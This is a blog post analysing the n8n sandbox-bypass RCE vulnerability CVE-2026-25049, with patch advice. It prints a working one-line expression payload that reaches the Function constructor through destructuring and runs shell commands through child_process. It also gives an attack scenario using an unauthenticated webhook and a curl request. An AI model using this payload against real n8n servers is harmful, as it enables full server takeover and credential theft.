Arang.dev
搜索

N8N RCE 漏洞 (CVE-2026-25049) 深度分析:利用 JavaScript 结构分解赋值绕过沙箱

详细分析 CVE-2026-25049 漏洞的成因和利用代码,该漏洞仅用一行 JavaScript 语法(Destructuring)就使 n8n 的 5 层安全防护失效。

#CVE-2026-25049#n8n#RCE#JavaScript#Sandbox Bypass#Node.js
🌐 已翻译

本文由 AI 从韩语机器翻译,部分表达可能与原文有所不同。

阅读原文(韩语)

最近,工作流自动化平台 n8n 中发现了一个严重远程代码执行 (RCE) 漏洞 (CVE-2026-25049)。此漏洞的 CVSS 评分为 9.4 (Critical),未经身份验证的攻击者可以通过公开的 Webhook 完全控制服务器。

尤其值得注意的是,此漏洞利用 JavaScript 的**结构分解赋值 (Destructuring Assignment)**这一语法特性,绕过了 n8n 构建的正则表达式、AST 检查、运行时验证等 5 层安全防护,这在技术上非常有趣。

本文将从代码层面分析该漏洞的产生原因,并通过 PoC(Proof of Concept,概念验证)来了解攻击原理。

1. 背景:n8n 的沙箱防御体系

n8n 允许用户使用 JavaScript 表达式 (Expression) 处理数据。例如,它以类似于 eval() 或 Function 构造函数的方式在内部执行诸如 {{ $json.name }} 之类的表达式。

当然,这存在安全风险,因此 n8n 构建了以下多重防御机制:

  1. Regex Check (正则表达式检查):阻止包含 .constructor 等危险关键字的字符串
  2. AST Sanitizer (AST 清理器):分析代码的结构 (AST) 并阻止危险节点 (例如 MemberExpression)
  3. Runtime Validator (运行时验证器):在运行时检查对象属性访问
  4. Function Sanitizer (函数清理器):将普通函数中 this 上下文绑定到一个空对象
  5. Property Removal (属性删除):删除 eval、Function 等危险的全局对象

乍一看,这似乎是一个完美的防御体系。但是,所有这些防御都建立在**“对象属性访问只能通过点 (.) 或方括号 ([]) 完成”**这一错误的假设之上。

2. 漏洞原因:结构分解赋值 (Destructuring)

在 JavaScript 中,获取对象属性的方法主要有两种。

A. 传统方式(已被阻止)

obj.constructor      // Dot notation
obj['constructor']   // Bracket notation

这些方法在 AST(抽象语法树)上被解析为 MemberExpression 节点。n8n 的 AST Sanitizer 正在监视此节点,并且正则表达式过滤器也捕获了 .constructor 模式。

B. 结构分解赋值(绕过成功)

const { constructor } = obj;

这是 ES6 中引入的结构分解赋值语法。此代码在 AST 上被解析为 VariableDeclaration 中的 ObjectPattern。

问题是 n8n 的安全逻辑仅检查 MemberExpression 而不检查 ObjectPattern。 此外,源代码文本中没有出现 .constructor 模式,因此也可以绕过正则表达式过滤器。

3. Exploit Chain 分析

仅仅获取 constructor 是不够的。攻击者必须利用它来执行任意代码。完整的 Exploit Chain 如下:

步骤 1:通过箭头函数获取 this

n8n 通过将普通函数 (function() {}) 的 this 强制绑定到空对象来实现沙箱化。但是箭头函数 (() => {}) 没有自己的 this 绑定,而是直接使用上层作用域(词法作用域)的 this。

(() => {
    // 샌드박스 처리되지 않은 원본 'this' 또는 문맥에 접근 가능
})()

步骤 2:通过结构分解获取 Function 构造函数

在箭头函数内部,通过结构分解赋值获取空函数的 constructor。在 JavaScript 中,所有函数的构造函数都是 Function 对象。也就是说,获得 Function 构造函数。

const { constructor } = () => {}; 
// constructor === Function

步骤 3:执行任意代码

利用获得的 Function 构造函数创建一个可以执行字符串代码的函数,并立即执行它。

constructor('return process.mainModule.require("child_process").execSync("id").toString()')()

最终 Payload

将所有这些组合起来,可以得到如下一行 Payload:

={{(() => { 
    const {constructor} = ()=>{}; 
    return constructor('return process.mainModule.require("child_process").execSync("id").toString()')(); 
})()}}

4. PoC 及攻击场景

当此漏洞与 n8n 的 Webhook 功能结合使用时,其影响会被最大化。因为在 n8n 中可以轻松创建无需身份验证 (Authentication: None) 的 Webhook。

攻击场景

  1. 攻击者访问 n8n 实例(或通过 CSRF 等诱导)并创建恶意工作流。
  2. 添加 Webhook 节点并将身份验证设置为 None。
  3. 在 Webhook 后面连接的节点(例如 Set)的表达式字段中插入上述 RCE Payload。
  4. 激活工作流。
  5. 从外部向该 Webhook URL 发送请求,服务器将执行命令。

实际测试 (PoC)

# Webhook으로 요청 전송
curl -X POST 'http://target-n8n-server.com/webhook/rce-demo' \
 -H 'Content-Type: application/json' \
 --data '{}'

响应结果:

{
 "result": "uid=0(root) gid=0(root) groups=0(root)\n"
}

服务器执行了 id 命令,确认具有 root 权限。攻击者可以通过这种方式窃取环境变量 (API Key)、安装后门、渗透到内部网络等。

5. 应对及补丁

补丁版本

n8n 团队确认了此问题并立即发布了补丁。

  • 已解决版本: 1.123.17、2.5.2 及更高版本

根本解决方案

从开发人员的角度来看,此漏洞显示了**“基于黑名单的安全措施的局限性”**。 JavaScript 是一种非常灵活的语言,因此仅阻止特定语法(例如点表示法)始终存在被绕过的可能性。

  • 不要依赖 Regex (正则表达式): 应该使用解析器分析代码,而不是使用正则表达式。
  • 扩大 AST 覆盖范围: 不仅要检查 MemberExpression,还要检查所有可能访问属性的 AST 节点,例如 ObjectPattern。
  • 应用 Allowlist (白名单): 如果可能,使用仅允许访问允许属性的白名单方法是安全的。

结尾

本次 CVE-2026-25049 是一个典型的案例,表明即使有 5 层防御,也可能因为一个逻辑盲点(忽略 Destructuring)而导致整个安全体系崩溃。如果您正在使用 n8n,请立即更新到最新版本。

Reference: SecureLayer7 Deep Dive

评论

正在加载评论...
N8N RCE 漏洞 (CVE-2026-25049) 深度分析:利用 JavaScript 结构分解赋值绕过沙箱 | Arang